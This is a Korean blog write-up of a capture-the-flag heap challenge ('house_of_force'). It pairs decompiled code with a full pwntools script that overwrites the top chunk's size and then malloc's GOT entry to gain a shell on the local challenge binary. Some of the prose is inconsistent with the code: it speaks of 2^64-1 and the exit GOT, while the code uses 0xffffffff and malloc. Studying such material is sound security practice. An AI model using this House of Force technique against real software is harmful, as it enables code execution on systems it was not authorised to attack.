[Dreamhack] house_of_force
System/PWNABLE

[Dreamhack] house_of_force

728x90

checksec

32bit

Canary발견되지만 heap문제니까...상관없을듯

 

Pseudo code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v5; // [esp+0h] [ebp-10h]
  int v6; // [esp+4h] [ebp-Ch]
  int v7; // [esp+8h] [ebp-8h]
  unsigned int v8; // [esp+Ch] [ebp-4h]

  v8 = __readgsdword(0x14u);
  v6 = 0;
  v7 = 0;
  initialize();
  while ( 1 )
  {
    while ( 1 )
    {
      puts("1. Create");
      puts("2. Write");
      puts("3. Exit");
      printf("> ");
      __isoc99_scanf("%d", &v5);
      if ( v5 == 2 )
        break;
      if ( v5 == 3 )
        exit(0);
      if ( v5 == 1 )
      {
        v3 = v6++;
        create(v3);
        ++v6;
      }
    }
    if ( v7 )
      break;
    write_ptr();
    ++v7;
  }
  return -1;
}
signed int __cdecl create(signed int a1)
{
  size_t size; // [esp+0h] [ebp-8h]
  unsigned int v3; // [esp+4h] [ebp-4h]

  v3 = __readgsdword(0x14u);
  if ( a1 > 10 )
    return 0;
  printf("Size: ");
  __isoc99_scanf("%d", &size);
  ptr[a1] = malloc(size);
  if ( !ptr[a1] )
    return -1;
  printf("Data: ");
  read(0, ptr[a1], size);
  printf("%p: %s\n", ptr[a1], ptr[a1]);
  return 0;
}
signed int write_ptr()
{
  int v1; // [esp+0h] [ebp-10h]
  int v2; // [esp+4h] [ebp-Ch]
  int v3; // [esp+8h] [ebp-8h]
  unsigned int v4; // [esp+Ch] [ebp-4h]

  v4 = __readgsdword(0x14u);
  printf("ptr idx: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 10 || v1 < 0 )
    return -1;
  printf("write idx: ");
  __isoc99_scanf("%d", &v2);
  if ( v2 > 100 || v2 < 0 )
    return -1;
  printf("value: ");
  __isoc99_scanf("%u", &v3);
  *((_DWORD *)ptr[v1] + v2) = v3;
  return 0;
}

1번 선택 시, create(a1)함수로 넘어가 순서 사용자로부터 사이즈를 입력받고 해당 사이즈만큼의 heap을 생성한다. 그리고 Data를 입력받아 힙에 저장하고 힙의 주소와 데이터 내용을 출력해보여준다.

>> ptr이라는 배열의 a1번째 인덱스에 힙청크를 할당한다. ptr[a1]에 힙 청크를 할당하고 ptr[a1]가 가리키는 힙청크에 데이터를 쓴다.

 

2번 선택 시, write_ptr()함수로 넘어가고 ptr index와 write index를 차례로 입력하고 지정한 위치에 저장할 값을 입력받는다.

>> ptr idx(v1)를 입력받아 몇 번째 힙청크를 고를지 선택하고, write idx(v2)를 입력받아 힙청크에 저장된 데이터의 몇 번째 인덱스의 값을 변경할지 선택한다. 그리고 value를 읽어들여 값을 변경한다. 쉽게 생각해서 이차원 배열로 생각해보면 ptr[v1][v2]의 값을 변경하는 것이다. (맞지는 않지만 그냥 단순히 생각해서..)

>> 최소 2개의 heap chunk를 생성하고(1번) 출력되는 주소값을 이용해 top chunk의 주소를 알아내고 top chunk의 size를 2^64 -1 로 조작한다.

 

[실행]

현재 top_chunk의 주소는 0x804b01c로, 1번 메뉴를 선택해 16byte만큼 할당요청을 한 힙 청크로부터 20byte 떨어져있다. 인덱스로 생각하면 5만큼 떨어져있다.

 

[익스 시나리오]

1. 1번을 선택해 heap chunk를 생성하고 이 때 출력되는 주소값을 이용해 top chunk의 주소를 계산한다.

2. 2번을 선택해 top chunk의 size를 2^64-1로 조작한다. 

3. 특정함수(exit)의 got값을 target address로 해서 함수의 plt 값이 호출되면 덮어쓴 got 주소로 연결될 수 있도록 한다.

 

from pwn import *
context.log_level = 'debug'
p = process("./house_of_force")
elf = ELF("./house_of_force")
libc = elf.libc

def create(size, data):
	p.sendlineafter("> ","1")
	p.sendlineafter("Size: ",str(size))
	p.sendlineafter("Data: ",data)

def write_ptr(ptr, index, value):
	p.sendlineafter("> ", "2")
	p.sendlineafter("ptr idx: ", str(ptr))
	p.sendlineafter("write idx: ", str(index))
	p.sendlineafter("value: ", str(value))

get_shell = elf.symbols['get_shell']
target = elf.got['malloc'] #target

#top_chunk_address
create(0x10, "A"*0x10)
top_chunk = int(p.recv(9), 16) + 5*4
#change
write_ptr(0, 5, 0xffffffff)

size = target - top_chunk - 0x8

create(size, "A"*size)
#gdb.attach(p)

create(4, p32(get_shell))
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(0x10))

p.interactive()

 

 

 

 

 

 

 

 

SMALL

'System > PWNABLE' 카테고리의 다른 글

[LOB] gremlin → cobolt  (4) 2021.01.15
[LOB] gate → gremlin  (2) 2021.01.14
[HackCTF] uaf  (0) 2020.09.20
first  (0) 2020.09.06
[HackCTF] RTC  (0) 2020.08.23